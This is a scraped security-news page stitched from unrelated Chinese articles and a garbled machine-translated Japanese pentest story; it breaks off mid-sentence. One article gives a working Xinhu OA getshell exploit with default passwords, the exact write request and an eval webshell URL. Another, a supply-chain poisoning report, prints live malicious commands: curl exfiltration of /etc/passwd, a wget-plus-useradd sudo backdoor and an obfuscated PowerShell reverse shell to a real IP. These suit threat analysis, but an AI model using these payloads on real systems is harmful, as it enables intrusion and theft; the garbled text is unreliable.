個人生物信息一旦洩露便後患無窮，尤其是人臉信息，上述案例中的收集人臉信息、通過技術手段攻擊人臉識別防護系統，攻破後進行盜取轉移資金等違法行為的犯罪鏈已較為成熟。通過AI技術攻擊人臉識別防護系統的手段可分為深度偽造攻擊與對抗樣本攻擊。深度偽造攻擊是將一個人的面部表情移植到另一個人照片的面部，從而讓被移植人照片活化起來；對抗樣本攻擊是在人臉照片上添加難以察覺的微小擾動使人臉識別系統誤判。本次案例中，不法分子極可能是利用視頻通話採集受害者人臉信息並基於深度偽造攻擊手法騙過銀行的人臉識別防護系統，竊取用戶存款，此類案件層出不窮。

不法分子的攻擊目標早已不局限於金融系統，政務系統也是重點攻擊目標之一，根據天津網信辦報導，不法分子獲取公民身份信息和人臉照片後，利用AI技術破解相關政務APP的“人臉識別”認證，在當事人毫不知情的情況下，幾分鐘就能利用他人信息註冊公司。

針對人臉識別防護系統的攻擊與防禦，是一場雙方都在不斷升級的攻防對抗，目前針對人臉識別防護系統的攻擊手段已經過多次進化。多數人臉識別算法廠商聚焦於人臉特徵提取、人臉差異，對深度偽造攻擊、對抗樣本攻擊及針對應用的攻擊的防護能力極為有限，為此業內新增了三類檢測功能，但均有一定局限性。

1、增強活體檢測模塊，以識別對抗眼鏡及表情操縱攻擊此種防禦方式對於屏幕重放攻擊有一定的防禦效果，但是若採用攝像頭繞過方式即可繞過，對於安全加密強度不夠的APP，採用公開手機模擬器即可繞過攝像頭，直接將準備好的偽造圖像傳輸給後台人臉比對算法。

2、增強人臉特徵比對算法，存在異常即攔截該方法本質上是提升了比對算法的閾值，在提升自身安全性的同時，也降低了對於用戶的友好體驗，往往要進行反复拍照、核驗才能通過比對，並不能從根本上解決人臉偽造的攻擊方式。

3、增加臉部異常結構的識別該方式，旨在防範對抗眼鏡樣本的攻擊方式，但對抗樣本的攻擊方式千變萬化，可以是眼鏡形式外的任何形式，此方法並不能解決對抗樣本本身帶來的攻擊危害。

此外攻擊者還可以通過注入應用、破壞系統內核及利用接口防護不當與設計缺陷嘗試繞過人臉識別防護系統的活體檢測環節。

1、注入應用繞過人臉識別防護系統活體檢測攻擊者通過注入應用的方式來篡改程序，繞過活體檢測，使用一張靜態照片就可以通過人臉識別。還可以通過查看當前APP的數據結構，修改參數來篡改活體檢測完成後的圖片，從而達到活體檢測由任意一個人完成都可以通過的效果，這樣只需要拿著被攻擊者的照片來通過靜態人臉識別，然後其他人眨眼抬頭來破解活體檢測。

2、破壞系統內核繞過人臉識別防護系統活體檢測通過修改Android系統源代碼，在底層直接修改並返回相關函數的調用結果。劫持攝像頭，指定視頻存放位置，在活體檢測後替換人臉識別圖片、視頻，繞過活體檢測。

3、利用接口防護不當和各種設計缺陷部分APP在使用上傳人臉圖像時，沒有對圖像數據進行簽名，導致圖片可以被工具截獲然後篡改，而有的則是在數據報文沒有加入時間戳，可以通過重放數據報文的方式來實施破解。有些人臉識別的成功與否，是通過返回報文中的一個閾值來決定的，相當於考試中的“及格分數”，如果人臉匹配度超過該閾值就可以通過，不幸的是，部分APP沒有對這個返回報文加簽名，導致該報文可以被篡改，最終通過調低該閾值的方式破解了它的人臉識別防護系統。人臉識別技術正面臨著日益嚴峻的新型攻擊威脅和重大財產損失的風險，想提高安全性須採用成體係可應對上述各類攻擊手段的人臉識別安全方案。為加強安全防護能力，愛加密推出了“查、打、防”三位一體的人工智能安全體系、愛加密人臉安全綜合防護系統，從人工智能應用的生命週期進行檢測，治療和預防。

image.png

愛加密人臉安全綜合防護系統可全面加固任意人臉識別系統。通過集成終端風險感知、業務端實時偽造檢測、運營風險挖掘三大類功能，實現在人臉核身、在線視頻等典型場景中有效抵禦對抗樣本攻擊、深度偽造攻擊等新型安全風險，大幅提升人臉識別系統的安全性。

image.png

愛加密將持續關注人臉識別防護安全，在此呼籲各大機構提高對人臉信息的重視度，加強對個人隱私信息的保護力度，提升人臉識別防護系統的安全性。愛加密通過十餘年技術積累和豐富的行業服務經驗研發，助力人臉識別防護系統的安全運營，未來將繼續憑藉自身技術優勢、業務資質優勢、產品方案優勢等，守護互聯世界。

HireHackking

安全研究人員查看Parrot 流量引導系統(TDS) 使用的10,000 多個腳本後，發現逐漸優化的演變過程使惡意代碼對安全機制更加隱蔽。

Parrot TDS 於2022 年4 月被網絡安全公司發現，自2019 年以來一直活躍。主要針對易受攻擊的WordPress 和Joomla 網站，使用JavaScript 代碼將用戶重定向到惡意位置。

研究人員分析，Parrot 已經感染了至少16,500 個網站，是一次大規模的惡意操作。

Parrot 背後的運營商將流量出售給威脅組織，威脅組織將其用於訪問受感染網站的用戶，以進行分析並將相關目標重定向到惡意目的地，例如網絡釣魚頁面或傳播惡意軟件的位置。

不斷演變的惡意軟件Palo Alto Networks 的Unit 42 團隊最近發布的一份報告顯示，Parrot TDS 仍然非常活躍，並且JavaScript 注入更難以檢測和刪除。

Unit 42 分析了2019 年8 月至2023 年10 月期間收集的10,000 個Parrot 登陸腳本。研究人員發現了四個不同的版本，顯示了混淆技術使用的進展。

Parrot 的登陸腳本有助於用戶分析，並強制受害者的瀏覽器從攻擊者的服務器獲取有效負載腳本，從而執行重定向。

11.png

Parrot 攻擊鏈

據研究人員稱，Parrot TDS 活動中使用的腳本是通過代碼中的特定關鍵字來識別的，包括“ ndsj ”、“ ndsw ”和“ ndsx ”。

Unit 42 注意到，所檢查樣本中大多數感染已轉移到最新版本的登陸腳本中，佔總數的75%，其中18% 使用以前的版本，其餘運行較舊的腳本。

22.png

所檢查樣本中的登陸腳本版本份額

與舊版本相比，第四版登陸腳本引入了以下增強功能：

複雜代碼結構和編碼機制的增強混淆；

不同的數組索引和處理會破壞模式識別和基於簽名的檢測；

字符串和數字處理的變化，包括它們的格式、編碼和處理；

儘管增加了額外的混淆層和代碼結構的變化，V4登陸腳本的核心功能仍然與之前的版本保持一致；

它的主要目的仍然是分析受害者的環境，並在滿足條件時啟動有效負載腳本的檢索。

33.png

登陸腳本版本3

關於負責執行用戶重定向的有效負載腳本，Unit 42 發現了九個變體。除了一些人執行的輕微混淆和目標操作系統檢查之外，這些大多是相同的。

在70% 的觀察到的案例中，威脅行為者使用有效負載腳本版本2，該腳本不具有任何混淆功能。

44.png

有效負載腳本版本2

版本4-5 中添加了混淆層，版本6 至9 中變得更加複雜。但是，這些版本很少出現在受感染的站點中。

55.png

10,000 個站點樣本中看到的有效負載腳本版本

總體而言，Parrot TDS 仍然是一種活躍且不斷演變的威脅，並且正變得更加難以捉摸。

建議用戶在其服務器上搜索流氓php 文件，掃描ndsj、ndsw 和ndsx 關鍵字，使用防火牆阻止Webshell 流量，並使用URL 過濾工具阻止已知的惡意URL 和IP。

HireHackking

0x01 前言信呼OA是一款開源的OA系統，面向社會免費提供學習研究使用，採用PHP語言編寫，搭建簡單方便，在中小企業中具有較大的客戶使用量。從公開的資產治理平台中匹配到目前互聯中有超過1W+的客戶使用案例。

信呼OA目前最新的版本是V2.6.2，發佈時間是2023-12-22。作者整體上保持了較高的系統更頻率，對歷史爆出的安全問題也及時進行修復。目前網上能找到的信呼OA getshell的辦法大多數是老版本或者是需要admin權限的，沒有針對新版本進行getshell的思路。

0x02 步驟本地搭建當前最新版的信呼OA系統V2.6.2，如下圖所示。

1.png

使用普通OA用戶登陸，信呼OA安裝之後默認存在賬號diaochan/xiaoqiao/daqiao/rock/zhangfei/zhaozl等用戶，密碼都是123456。這裡使用普通用戶xiaoqiao登陸，然後構造下面的請求。

http://xinhu.test.com:8890/index.php?d=mainm=flowa=copymodeajaxbool=truePOST:id=1name=a{};phpinfo ();class a

2.png

生成的文件訪問如下（以下兩種方式均可）：

http://xinhu.test.com:8890/webmain/flow/input/mode_a%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aAction.php

http://xinhu.test.com:8890/webmain/model/flow/2%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aModel.php

3.png

由於傳遞的參數值會被全部轉化為小寫字母（下一步的漏洞分析中會提到），導致我們不能在webshell中使用大寫字母，所以並不能直接寫一句話webshell。繞過方式是可以通過下面的方式來轉化一下一句話木馬。

http://xinhu.test.com:8890/index.php?d=mainm=flowa=copymodeajaxbool=truePOST:id=1name=a{};eval (strtoupper('eval (\$_request[1]);'));class a

運行之後訪問下面的鏈接，由於鏈接中涉及到多個特殊字符，如果不清楚應該如何轉義的請複制下面的鏈接。

http://xinhu.test.com:8890/webmain/flow/input/mode_a%7b%7d;eval%20(strtoupper(%22eval%20(%5c$_request%5b1%5d);%22));class%20aAction.php?1=echo%20md5(1);

4.png

0x03 分析在webmain/main/flow/flowAction.php文件中，其中copymodeAjax接收外部用戶傳入的參數，如下圖所示。

5.png繼續跟踪createtxt方法，如下所示，僅僅只是進行了文件寫入操作，並沒有進行過濾，導致任意文件寫入漏洞。

6.png原文鏈接關注Beacon Tower Lab專欄

HireHackking

漏洞概述漏洞類型

越界寫入/遠程命令執行

漏洞等級

高危

漏洞編號

CVE-2024-21762

漏洞評分

9.3

利用複雜度

低

影響版本

FortiOS FortiProxy

利用方式

遠程

POC/EXP

已公開

Fortinet FortiOS是美國飛塔（Fortinet）公司的一套專用於FortiGate網絡安全平台上的安全操作系統。該系統為用戶提供防火牆、防病毒、IPSec/SSLVPN、Web內容過濾和反垃圾郵件等多種安全功能。在SSL VPN組件中存在越界寫入漏洞，可能導致未經身份驗證的遠程威脅者通過特製HTTP請求執行任意命令或代碼。

具體影響版本：FortiOS7.4.0-7.4.2，7.2.0-7.2.6，7.0.0-7.0.13，6.4.0-6.4.14，6.2.0-6.2.15，6.0.0-6.0.17FortiProxy7.4.0-7.4.2，7.2.0-7.2.8，7.0.0-7.0.14，2.0.0-2.0.13，1.2-1.0漏洞復現3.png

daydaypoc漏洞平台於2024年3月12日已收錄該漏洞。

以下鏈接可查看詳情：

https://www.ddpoc.com/DVB-2024-6401.html

解決方案官方已修復該漏洞，受影響用戶可升級到以下安全版本：

FortiOS7.4版升級至=7.4.3

FortiOS7.2版本升級至=7.2.7

FortiOS7.0版本升級至=7.0.14

FortiOS6.4版本升級至=6.4.15

FortiOS6.2版本升級至=6.2.16

FortiOS6.0版本升級至=6.0.18

FortiProxy7.4版本升級至=7.4.3

FortiProxy7.2版本升級至7.2.9

FortiProxy7.0版本升級至=7.0.15

FortiProxy2.0版本升級至=2.0.14參考鏈接https://fortiguard.com/psirt/FG-IR-24-015

HireHackking

これは長くてダウンしている話です。友達、そこに座って、あなた自身の軽食を持ってきてください。全文には、情報収集と征服の詳細なプロセス、およびこのタイプの詐欺のアイデアの分析と分解が含まれており、予防意識を向上させます。

0x00夢の始まり

晴れた午後でした。毎日のレンガ造りのプロセス中に会社のメールを受け取りました。

email-send

この馴染みのある言葉遣いを見て、私は下の愛着をちらっと見て、おなじみの息が私の顔に来てそれを保存しました。

email-qrcode

その後、管理者はすぐに何かが間違っていることを発見し、従業員のアカウントが盗まれたというメッセージを送信しました。メールのコンテンツを簡単に信用しないでください。元の電子メールはスパムとしてもマークされていました（最後に同様のメールが突然削除され、それが始まる前に問題が終了しました。今回は逃げられませんでした（￣_、￣）。

そして、この写真はすべての夢が始まったところになりました.

0x01情報収集

0x001レビュードメイン名

開始情報は非常に限られています。最初の写真はプロットであり、プロットはすべて推測に基づいていますが、このエントリで十分です。 QRコードの情報を分析するために男を取り出しましょう。

email-qrcode-analyze-url

追加のデータはなく、Webページのリンクの文字列のみがあります。ドメイン名を見ると、口の隅が少し上昇します。最初にドメイン名を分析します：

cmd-nslookup

記事が書かれるまでドメイン名を解析することはできず、修正は非常に高速でした。幸いなことに、以前にバックアップがあり、ドメイン名は絶えず変更されました。 CDNを使用していることはわからず、すべてのトラフィックがソースステーションにありました。私はそれをチェックしました、そしてそれは香港のサーバーでした：

front-query-ip

次に、関連情報を収集するために：

cmd-whois

予想どおり、それは追加の有用な情報を使用しない3人のパーティー登録機関ですが、登録時間は非常に興味深いものです。今月、詐欺師は非常に速く動いています。次回は、彼らは相手のウェブサイトに行くためにしか見ることができません。

front-west-whois

再び西部のデジタルで、少し人気があるようです。ウェブサイトはプライバシー保護メカニズムを提供し、登録情報は一般に公開されておらず、当面は有用な情報を取得することはできません。

0x002レビューIP

今の手がかりは、以前に解析されたIPです。まず一歩一歩進んで、ポートサービスをスキャンして、より多くの情報を収集します。

cmd-nmap-port-services

はい、大丈夫です。私はいくつかの馴染みのある数字を見て、プロセスに従い続け、デフォルトのスクリプトを下ってポートサービス情報を分析しました。

cmd-nmap-default-script

匿名のFTPを検出することはなく、HTTPはトレースをサポートし、httponlyが設定されておらず、XSSを実行する機会があるため、最初に小さなノートを書き留めます。次に、古いルールは最初にデフォルトの辞書の方向ブラストであり、それでも試してみる必要があります。

cmd-nmap-ftp-brute

残りのすべてのポートを試してみましたが、予想通り、あまり得られませんでした。私はまだ基本的なパスワード強度の認識を持っているようです。さらに、以前のスキャン、ポート8888が表示されました。これは、サーバー管理ツールのパゴダパネルのデフォルトのバックグラウンド入り口であることを忘れないでください。試してみてください：

front-baota-login-pre

エントリ検証がありますが、少なくともそれが実際にパゴダパネルであることを証明しています。ただし、この爆発は不可能です。エントリURLの接尾辞は、デフォルトでは、上限と小文字の文字と数字の約8桁であり、これは8の電力から約20兆のパワーであり、かなりaldげています。後で言いましょう。次に、他の方向に移動し続けます。

0x003レビューページ

それらはすべてここにあります。コードをスキャンすることはページへのジャンプへのリンクであり、ポートも80と443を開いているため、もちろん、KangkangにアクセスするためにWebページを開く必要があります。同時に、開発者ツールを開いて小さなアクションがあるかどうかを確認する必要があります。

front-home-mobile

ああ、それはモデルも認識します。これはユーザーが非常に明確であるため、モバイル端末にカットして見てみましょう。

front-home-index

emmm .それを言う方法、それはとてもいい匂いがする。一見することはできません。私はそれを非常に模倣しています（しかし、私は本当に勇敢で、政府のウェブサイトでそれをやっています）。次に、インターフェイスによって返されたヘッダー情報を見て、Windows IIS 7.5 + ASP.NETサービスが使用されていることがわかりました。

front-home-headers

これを最初に覚えておいてください、後で抜け穴を掘り出すことは役に立ちます。インタビューの後、私はページが空であることがわかりました、そして、加工の入り口のポップアップウィンドウのみがジャンプできることがわかりました。ジャンプページは次のとおりです。

front-apply-btn

説明は非常に完全であるため、誰もが正しい番号を取得できるようにします。今すぐ申請するにはここをクリックしてください：

front-input-name-id

次に、最初に名前とID番号を使用して、個人情報を収集するためのワンストップサービスが開始されました。さらに、その隣に表示されるロードされたPNGヘッダー画像の名前に注意してください。ええと、これは開発者からのクレイジーなヒントですか？ここで情報を入力してチェックすることができます。

front-input-name-error

実際に検証があります。ブレークポイントをクリックして、ソースコードロジックを確認してください。

front-input-name-breakpoint

完全に完了する数字を確認するのは本当に面倒ですが、フロントエンドの検証はすべて紙のトラであるため、ここで民俗救済は必要ありません。ソースコード編集および開発者ツールの関数を上書きするだけで、検証関数に直接trueを返します。

front-input-name-override

次に、確認して次のステップに進みます。

front-input-bank

銀行のカード番号とパスワード、携帯電話番号を収集することです。悲しいかな、意図は非常に明白です。お金を転送して相手のパスワードを転送する必要はありません。また、何気なく記入するためのものです。同じ方法を使用して銀行カードの確認をバイパスしますが、読み込まれたスクリプトファイルの1つで興味深いものが見つかりました。

front-input-bank-js-source

開発者は、ソースコードのデバッグデータを削除することさえありません。 Alibaba Pay Interfaceは、相手のデバッグアカウントを使用するために使用されます（開発者として、生産環境でコードコメントを削除することの重要性=_=）：

front-input-bank-amount

次に、次のページを入力して、名前とID番号、および銀行カードの残高を再度収集しました（ここでは、ユーザーの実際の状況やその他の未知の操作の調査です）。予想どおり、私はここに嘘をつく勇気さえありませんでした。 T_T、すぐに記入して、次のステップに進みます。

front-input-bank-amount-value

front-submit-loading

その後、ページはロードされ、継続的に更新され、他のジャンプはありません。詐欺師が動作する時間を提供することです。その後、Webページの関連する操作は、当面の間終了します。いくつかの操作手順を大まかに理解してから、他の方向を探ります。

0x02脆弱性マイニング

0x001 SQL注入

情報コレクションはほぼ完成しているので、1つずつ壊してみましょう。最もよく知られているWebページから始めます。前のページを確認する際には、多くの提出フォームと入力ボックスがあります。これは潜在的なブレークスルーポイントです。どの鉱業技術が優れているか、まず魔法のアーティファクトのげっぷを使用し、銀行カード番号とパスワードの以前の提出のフォームデータを傍受します。

burp-form-field

次に、エラーメッセージを確認するために簡単な注入を試みます。

burp-sql-inject-simple

応答はありません。基本的な検証があり、それを変更する必要があります。

burp-sql-inject-union-select

反応があり、希望を見たように見えました。返品は文字化けしていますが、相手のプログラムがそれを処理する問題であるはずです。しかし、文の構造を見ると、SQLエラーが報告されたようで、それらのいくつかを連続して試してみましたが、同じリターンも返されました。それでは、残りの複雑な作業をツールに任せ、SQLMapを取り出して実行しましょう。

cmd-sqlmap

数ラウンドのパラメーターの後、私は成功しませんでした。フィルタリングメカニズムは比較的思慮深い必要があります。次に、別のページをテストしたとき、エラーメッセージの元の意味を発見しました。

burp-sql-inject-err-res

まあ、私はまだ若すぎます、私は間違っているでしょう。プログラムは、フィールド値のSQLキーワードを特定する必要があります。さらに、以前にスキャンされたサービスには、トレース関連の脆弱性が含まれている可能性があることを思い出します。テスト後、サーバーはまだサポートされていないはずです。

burp-trace-method

それから私はもう一度それについて考えました。パスワードフィールドのデータベーステーブルフィールドを設計するときは、銀行カードのパスワードであり、誰もが6桁の数字であることを知っているため、スペース占領を減らすために低い文字桁の特性を考慮する必要があります。驚きがあるかどうかを確認するための大きな数字があります：

burp-post-mass-data

恥ずかしさは驚きのためです。特別な治療がなく、サーバー側のエラーとして直接報告されるためであるべきです。私は次々といくつかのページを変更しましたが、テスト後に大きな利益はありませんでした。シーンはかつて行き詰まっていたので、私は一時的に戦場に移動することができました。

0x002メタプロイト浸透

がついにMetasploitに来て、準備ができています、

msf-banner

IISの既知の脆弱性を最初に検索します。

msf-search-iis

たくさんあるので、最初にいくつかのマッチング条件を試してみましょう。私はあなたにここで例を挙げているので、私はそれらを1つずつ見せません：

msf-run-ektron

次に、他のいくつかのポートとサービスがあり、1つずつテストされましたが、突破口はありませんでした。パッチはすべて非常に完全だったようです。現在、それは一時的に行き止まりに閉じ込められています。 MSFに使用するモジュールはまだたくさんありますが、まだ行われていない別の重要なことがあると思います。

0x003サイトディレクトリの列挙

サイトディレクトリスキャン、この重要なことはどのように欠けているのでしょうか？ Dirbusterなど、多くのツールから選択するツールがあります。ここでは、Burp Suiteのエンゲージメントツールでディスカバリーコンテンツツールを使用して、ディレクトリブラストを実行します。

burp-dirbus-menu

burp-dirbus-config

多数の内蔵辞書では使用するのに十分ですが、ネットワークリクエストが含まれ、プロセスも非常に長いです。ただし、バックグラウンドで実行でき、他のものには影響しません。これがスキャンの結果です：

burp-dirbus-sitemap

いい人と呼んでください！スキャンしなかったかどうかはわかりませんでした。出てきてショックを受けました。私は非常に多くの隠された入り口を逃しました。最初にノートを書き留めて、1つずつ探索しました。ただし、私のビジョンは、upload.aspと呼ばれるファイルにロックされずにはいられませんでした。開発者からそのような明白なヒントを言う必要はありませんでした（ヨ（▔、▔）ㄏ）。

burp-upload-get

直接アクセスするときに返品データはありませんが、メソッドが間違っているためですか？それを変更してフォームファイルデータを投稿し、再試行してください。

cmd-curl-upload-file

この方法でアップロードするのは役に立たないようです。追加の検証パラメーターなどが必要です。これまで見たことのないページをたくさんスキャンしました。今、私は戻ってページのソースコードを1つずつ分析します。

front-upload-source

案の定、ページの1つでは、このアップロードインターフェイスを呼び出すフォームが見つかりました。これは隠された要素です。ページコンテンツと組み合わせることで、ユーザーがアップロードした特定のドキュメント情報、IDカードの写真などを収集するために使用する必要があります。その後、対応するJSソースコードを見て、実際にチェックサムインターフェイスパラメーターがあります。

front-upload-js-fn

ここでこれらの機能を分析して呼び出して、ファイルをアップロードすることは難しすぎます。これは隠された形ではありません。コードを直接変更してUI（¬‿¬）を介して操作するのはとても簡単です。

front-upload-show-form

少しシンプルに見えますが、実行するのに十分かどうかは関係ありません。ファイルをアップロードするだけです：

front-upload-done

その後、もう一度アクセスして効果を確認してください。

front-upload-access

なんて男だ、それはエキサイティングだ！私の口の角は再び少し上昇しますが、最初に落ち着いてから、ファイルタイプの確認があるかどうかを確認してみてください。このサービスはASP.NETなので、ASPプログラムを渡すだけです。次のコードは、ページ上のサービスの名前を実行します。

％respons.write（request.servervariables（ 'server_software'））％

次に、アップロードしてチェックしてください。

front-upload-asp-info

これ.他に何が言うことができますか？沈黙は現時点では音よりも優れていますが、これは終わりではありません。これはただの良い出発点であり、すべてが始まったばかりです（¬‿¬）。

0x004予期しない収穫

実際、Webサイトディレクトリには、Jieliuziと呼ばれる別の非常に興味深いディレクトリがあります。私は中国のピンインの命名が好きなオブジェクト開発者の習慣を理解しましたが、この意味は理解されていません。推測と入力の方法さえ理解していません。詳細を調べた後、私も入って見つけました=_=。中国の文化は本当に深いです。何があっても、ページアクセスの結果を見てください：

front-jieliuzi-login

これは非常に簡潔なログインページであり、実際にはPCサイトページです。詐欺師はいくつかの面で非常にロマンチックです。ここで表示されない理由は、全体像がエキサイティングすぎるためです（このログインボックスは本当に白です）、レビューに合格できないのではないかと心配しています。さらに、このページの上部にあるタイトル名に注意を払ってください。最初の反応は、それが単純な文字通りの意味であってはならず、良い言葉のように聞こえないことです。私はこれのために特別にバイドゥに行きました：

front-whaling-meaning-1

HireHackking

安全研究人員最新發現一起針對Linux 主機上的Redis 服務器的安全活動——威脅組織正使用名為“Migo”的惡意軟件來挖掘加密貨幣。

Redis（遠程字典服務器）是一種內存數據結構存儲，用作數據庫、緩存和消息代理，以其高性能而聞名，每秒為遊戲、技術、金融服務等行業的實時應用程序提供數千個請求。

威脅組織通常利用暴露的和可能易受攻擊的Redis 服務器來劫持資源、竊取數據和實施其他惡意目的。

新的惡意軟件的不同之處在於使用系統削弱命令來關閉Redis 安全功能，從而允許加密劫持活動較長時間持續。

Migo 活動由雲取證提供商Cado Security的分析師所發現，他們在蜜罐中觀察到攻擊者使用CLI 命令關閉保護配置並利用服務器。

關閉Redis 防護罩在暴露的Redis 服務器受到攻擊後，攻擊者會禁用關鍵的安全功能，以允許接收後續命令並使副本可寫。

Cado 表示，他們注意到攻擊者通過Redis CLI 禁用了以下配置選項：

马云惹不起马云set protected-mode：禁用此選項將允許外部訪問Redis 服務器，從而使攻擊者更容易遠程執行惡意命令。

马云惹不起马云replica-read-only：關閉此功能使攻擊者能夠直接寫入副本並在分佈式Redis 設置中傳播惡意負載或數據修改。

马云惹不起马云aof-rewrite-incremental-fsync：禁用它可能會導致在僅追加文件(AOF) 重寫期間產生更重的IO 負載，來幫助攻擊者不被檢測到。

马云惹不起马云rdb-save-incremental-fsync：關閉它可能會導致RDB 快照保存期間性能下降，從而可能允許攻擊者造成拒絕服務(DoS) 或操縱持久性行為以獲取優勢。

command.webp.jpg

觀察命令執行

攻擊者設置一個cron 作業，從Pastebin 下載腳本，該腳本從Transfer.sh 檢索Migo 的主要負載(/tmp/.migo) 以作為後台任務執行。

這是一個用Go 編譯的UPX 打包的ELD 二進製文件，具有編譯時混淆功能以阻礙分析。

Migo 的主要功能是直接從GitHub 的CDN 在受感染的端點上獲取、安裝和啟動修改後的XMRig (Monero) 挖礦程序。

該惡意軟件通過創建systemd 服務和關聯的計時器來為礦工建立持久性，確保其連續運行，以攻擊者的帳戶挖掘加密貨幣。

code.webp.jpg

Migo 的Linux 系統調用序列

Cado 報告稱，Migo 使用用戶模式rootkit 來隱藏其進程和文件，從而使檢測和刪除變得複雜。

該惡意軟件修改“/etc/ld.so.preload”以攔截和更改列出進程和文件的系統工具的行為，從而有效地隱藏其存在。

攻擊結束時，Migo 設置防火牆規則來阻止某些IP 的出站流量，並執行命令來禁用SELinux、搜索並可能禁用雲提供商監控代理，並刪除競爭的礦工或有效負載。

它還操縱/etc/hosts 以阻止與雲服務提供商的通信，從而進一步隱藏其活動。

Migo 的攻擊鍊錶明，其背後的威脅組織對Redis 環境和操作已有了深入了解。儘管加密劫持威脅並不太嚴重，但威脅組織卻可以利用該訪問權限來傳遞更危險的有效負載。

HireHackking

概述懸鏡供應鏈安全情報中心通過持續監測全網主流開源軟件倉庫，結合程序動靜態分析方式對潛在風險的開源組件包進行動態跟踪和捕獲，發現大量的開源組件惡意包投毒攻擊事件。在2024年2月份，懸鏡供應鏈安全情報中心在NPM官方倉庫（https://www.npmjs.com）和Pypi官方倉庫（https://pypi.org）共捕獲503個不同版本的惡意組件包，其中NPM倉庫投毒佔比89.46%， Pypi倉庫投毒佔比10.54%，NPM倉庫依舊是開源組件包投毒的重災區。

图片

2024年2月份投毒包總量

图片

2024年2月份投毒包每日統計

結合源代碼分析、動態行為監控等方式，我們對2月份捕獲的開源組件投毒包進行多維度分析，總結統計出主流的攻擊方式和惡意行為標籤。

投毒攻擊方式主要包括：

马云惹不起马云惡意文件執行

马云惹不起马云代碼混淆執行

马云惹不起马云惡意文件下載

马云惹不起马云shell命令執行

马云惹不起马云惡意文件釋放

其中，惡意文件執行是最常用的攻擊方式（佔比78.13%），其主要攻擊流程是利用開源組件包管理器在安裝組件包過程中利用自定義的惡意指令來加載並執行內置在組件包中的惡意文件(py、pyc、js、shell、pe、dll、elf、so等)。此外，在組件安裝包中直接嵌入惡意shell命令（佔比8.87%）、惡意文件下載（佔比4.28%）及惡意文件釋放後執行也是投毒者慣用的攻擊手法。為了逃避安全檢測，部分惡意包使用了代碼編碼、加密及混淆（佔比7.61%）等方式進行惡意代碼隱藏。

图片

攻擊方式統計

在所有投毒包的惡意行為中，竊取系統信息佔比超過85%，信息竊取的主要目標是開發者係統的密碼文件、用戶信息、網絡配置、系統版本、DNS服務器IP、系統外網IP、瀏覽器Cookie等敏感數據。其次，遠控木馬和反向shell後門攻擊緊隨其後（兩者之和占比約10%）。此外，在2月裡捕獲到多起盜取數字錢包客戶端敏感數據的投毒攻擊。值得一提的是，我們在NPM組件投毒中首次捕獲到通過添加Linux系統後門賬戶進行遠程控制的攻擊手段。

图片

惡意標籤統計

投毒案例分析本節將從2月份捕獲的開源組件惡意包中精選部分具有代表性的投毒樣本進行分析，還原投毒者的攻擊方式和細節。

Part1敏感信息竊取Python惡意包djanggo利用包名錯誤拼寫(typo-squatting)來偽裝成知名Python WEB組件django，以此迷惑混淆Python開發者誤安裝該惡意包。

图片

知名Python組件django

djanggo惡意包通過在安裝文件setup.py中重定義cmdclass install及egg_info實現在安裝時自動觸發執行惡意函數RunCommand()。

图片

RunCommand()函數內部通過subprocess模塊調用Linux系命令curl將當前系統環境變量、進程列表等信息通過HTTP POST外傳到攻擊者服務器上。

图片

此外，多個NPM惡意組件包(lib-comdig、bubble-dev)在安裝過程中存在竊取系統密碼文件的行為。以惡意包bubble-dev為例，其安裝包的package.json文件中包含惡意shell命令：

图片

攻擊者嘗試利用preinstall指令在NPM包安裝前執行惡意命令將系統/etc/passwd密碼文件及主機名等敏感信息外傳到攻擊者服務器上。

/usr/bin/curl--data'@/etc/passwd'$(hostname).7ksx7nnc5joia8xbftjmkh69s0ysmh.burpcollaborator.netPart2系統後門賬戶NPM惡意包browser-spoof在安裝時會執行惡意代碼index2.js, index2.js將從CDN服務器上拉取惡意bash文件sh.sh到受害者係統上執行。

图片

bash惡意代碼如下所示：

wget-qhttps://ezstat.ru/29U6f5;sudouseradd-m-Gsudo-s/bin/bash-p$(opensslpasswd-1ICEWATER)systst2echo'systst2ALL=(ALL:ALL)NOPASSWD:ALL'|sudotee-a/etc/sudoers/dev/null;先通過wget請求將受害者係統出網IP洩露給攻擊者，接著利用useradd命令在系統中添加新的用戶賬戶；最後使用tee命令將新用戶賬戶添加到sudoers文件中，將新賬戶權限提升到sudo權限。

Part 3反向shell後門攻擊者通常在投毒組件包中直接內置反彈shell命令或者通過腳本語言特性將開發者係統shell反彈到攻擊者服務器上，開發者一旦通過包管理器安裝或加載投毒包時，反彈shell代碼將自動執行，導致開發者係統被攻擊者遠程shell控制。

以Python惡意包isred為例，該投毒包目標針對Linux系統，攻擊者在isred模塊入口文件__init__.py中使用socket將受害者係統shell標準輸入、輸出重定向到攻擊者服務器(0.tcp.au.ngrok.io:16311)，從而實現對受害者係統的反向shell遠控。

图片

對於NPM倉庫的ts-patch-moongoose惡意包，目標主要針對Windows系統，其惡意文件mongoose.js通過調用child_process模塊執行base64編碼的PowerShell惡意命令。

图片

解碼後的實際PowerShell代碼如下所示：

Start-Process$PSHOME\powershell.exe-ArgumentList{$cc4b3e0706be478095235bdbc5479fde=New'-Obje'ctSystem.Net.Sockets.TCPClient('84.77.69.69',4 443);$4bdf71701e4e45a48bd66974a36d1fd8=$cc4b3e0706be478095235bdbc5479fde.GetStream();[byte[]]$b72dd70b9b5c4635b410c3eda039db98=0.65535|%{0 };while(($i=$4bdf71701e4e45a48bd66974a36d1fd8.Read($b72dd70b9b5c4635b410c3eda039db98,0,$b72dd70b9b5c4635b410c3eda039db98.Length))-ne0){;$ff 887d09535d46489582d67f05e7d60f=(Ne'w-Ob'ject-TypeNameSystem.Text.ASCIIEncoding).GetString($b72dd70b9b5c4635b410c3eda039db98,0,$i);$e9f33eef 377548fdb8e212aaecec6b47=(iex$ff887d09535d46489582d67f05e7d60f21|Out-String);$0e7cb537947a4905b36e36b8ef25f955=$e9f33eef377548fdb8e212aaece c6b47+'PS'+(p'w'd).Path+'';$986886c1059c495ebc37a28fa8735419=([text.encoding]:ASCII).GetBytes($0e7cb537947a4905b36e36b8ef25f955);$ 4bdf71701e4e45a48bd66974a36d1fd8.Write($986886c1059c495ebc37a28fa8735419,0,$986886c1059c495ebc37a28fa8735419.Length);$4bdf71701e4e45a48bd66 974a36d1fd8.Flush()};$cc4b3e0706be478095235bdbc5479fde.Close()}-WindowStyleHidden惡意PowerShell代碼通過System.Net.Sockets.TCPClient接口將Windows系統cmd 